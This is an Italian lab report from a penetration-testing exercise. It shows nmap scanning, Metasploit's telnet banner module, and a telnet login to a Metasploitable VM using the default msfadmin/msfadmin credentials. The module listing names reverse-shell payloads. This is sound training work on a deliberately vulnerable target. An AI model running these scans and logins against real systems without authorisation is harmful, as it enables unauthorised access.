

Report Vulnerabilità Telnet

Come richiesto dall'esercizio, andremo a cambiare gli indirizzi IP delle macchine Kali e Meta, in modo tale da essere nella stessa network e posso dimostrarlo con il seguente screenshot:

```
(kali㉿kali)-[~]
└─$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data:
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.201 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.338 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.232 ms
^C
— 192.168.1.40 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2071ms
rtt min/avg/max/mdev = 0.201/0.257/0.338/0.058 ms

(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:22:46:4f brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe22:464f/64 scope link
        valid_lft forever preferred_lft forever
```

Fatto ciò, andiamo ad eseguire un nmap anche se noi già sappiamo che vulnerabilità andremo ad usufruire:

```

(kali㉿kali)-[~]
$ nmap -sV 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 07:59 EST
Nmap scan report for 192.168.1.40
Host is up (0.00037s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
4444/tcp  open  tcpwrapped
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN
Linux kernel

```

Fatto ciò, andiamo ad avviare il tool “msfconsole” usiamo il comando search telnet (Oppure per restringere il campo, si può usare il comando search auxiliary telnet_version):

35	auxiliary/scanner/telnet/telnet_version	normal	No
telnet Service Banner Detection			
36	auxiliary/scanner/telnet/telnet_encrypt_overflow	normal	No
telnet Service Encryption Key ID Overflow Detection			
37	payload/cmd/unix/bind_busybox_telnetd	normal	No
nix Command Shell, Bind TCP (via BusyBox telnetd)			
38	payload/cmd/unix/reverse	normal	No
nix Command Shell, Double Reverse TCP (telnet)			
39	payload/cmd/unix/reverse_ssl_double_telnet	normal	No
nix Command Shell, Double Reverse TCP SSL (telnet)			
40	payload/cmd/unix/reverse_bash_telnet_ssl	normal	No
nix Command Shell, Reverse TCP SSL (telnet)			
41	exploit/linux/ssh/vyos_restricted_shell_privesc	2018-11-05	great Yes
yOS restricted-shell Escape and Privilege Escalation			
42	post/windows/gather/credentials/mremote	normal	No
indows Gather mRemote Saved Password Extraction			

Interact with a module by name or index. For example `info 42`, use `42` or use `post/windows/gather/credentials/mimikatz`

```
msf6 > use 35
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

```
Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
```

Come abbiamo potuto notare, non vi era bisogno di nessun payload, abbiamo semplicemente impostato il “rhosts” con l’IP di Meta. Fatto ciò, andiamo ad eseguire l’exploit:

[illegible]

In questo modo, ci siamo ricavati lo user e la password di Meta, che in questo caso era semplicemente esposta. Infine, andiamo ad eseguire il comando telnet da msfconsole stesso, e possiamo notare come ci siamo potuti connettere usando le credenziali prima trovate:


```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40
```

```
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^['.
```

Warning: Never expose this VM to an untrusted network!

Contact: [msfdev\[at\]metasploit.com](mailto:msfdev[at]metasploit.com)

Login with msfadmin/msfadmin to get started

```
metasploitable login: msfadmin
```

Password:

```
Last login: Tue Dec  6 06:52:00 EST 2022 on tty1
```

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

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Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No mail.

```
msfadmin@metasploitable:~$ id
```

```
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
```

```
msfadmin@metasploitable:~$
```